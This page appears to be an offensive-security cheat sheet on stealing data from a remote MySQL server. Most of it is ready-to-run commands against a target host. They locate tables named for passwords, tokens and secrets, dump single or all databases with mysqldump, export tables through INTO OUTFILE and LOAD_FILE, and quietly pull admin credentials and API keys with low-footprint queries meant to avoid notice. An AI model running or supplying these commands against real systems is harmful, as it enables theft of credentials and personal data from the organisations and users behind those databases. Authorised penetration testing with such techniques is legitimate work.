Skip to content
HackIndex logo

HackIndex

MySQL Bulk Data Exfiltration

3 min read Mar 26, 2026

MySQL data exfiltration ranges from pulling a handful of rows from a high-value table to dumping entire databases. The technique depends on what access is available and how much data needs to be captured. Direct mysqldump produces the cleanest output and handles encoding correctly but generates noticeable query load. Targeted SELECT queries against specific tables are quieter and sufficient when the goal is specific credential or configuration data rather than a full database dump.

Identify High-Value Tables First

Before dumping anything, identify which tables contain credentials, tokens, or sensitive data worth capturing:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_ROWS FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT IN ('mysql','information_schema','performance_schema','sys') ORDER BY TABLE_ROWS DESC;"
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME REGEXP 'user|account|password|credential|token|secret|key|auth|session|admin' AND TABLE_SCHEMA NOT IN ('mysql','information_schema','performance_schema','sys');"

Dump a Full Database with mysqldump

mysqldump produces a complete SQL dump including schema and data. Run it from Kali directly against the remote host:

┌──(kali㉿kali)-[~]
└─$ mysqldump -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD --single-transaction --databases appdb > /tmp/appdb-dump.sql

--single-transaction takes a consistent snapshot without locking tables — use this on InnoDB databases to avoid disrupting application operations during the dump.

Dump All Databases

┌──(kali㉿kali)-[~]
└─$ mysqldump -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD --single-transaction --all-databases > /tmp/all-databases.sql

Dump Specific Tables Only

When only specific tables contain the data of interest, dump those individually to reduce output size and query volume:

┌──(kali㉿kali)-[~]
└─$ mysqldump -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD --single-transaction appdb users credentials api_keys > /tmp/sensitive-tables.sql

Export Data to CSV via SELECT INTO OUTFILE

If direct mysqldump is not viable but INTO OUTFILE is available through FILE privilege, export tables to CSV files on the server and then retrieve them:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT * FROM appdb.users INTO OUTFILE '/tmp/users-export.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '\"' LINES TERMINATED BY '\n';"

Then retrieve the file using LOAD_FILE from another session or via shell access:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT LOAD_FILE('/tmp/users-export.csv');" > /tmp/users-local.csv

Extract Targeted Rows with Low Query Footprint

When stealth matters more than completeness, extract only the highest-value rows using targeted queries rather than full table dumps:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT username, password, email FROM appdb.users WHERE role='admin' LIMIT 50;" > /tmp/admin-users.txt
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -s -N -e "SELECT * FROM appdb.api_keys LIMIT 100;" > /tmp/api-keys.txt

Compress Before Transfer

For large dumps, compress locally before moving off the host:

┌──(kali㉿kali)-[~]
└─$ mysqldump -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD --single-transaction appdb | gzip > /tmp/appdb-dump.sql.gz
┌──(kali㉿kali)-[~]
└─$ du -sh /tmp/appdb-dump.sql.gz

References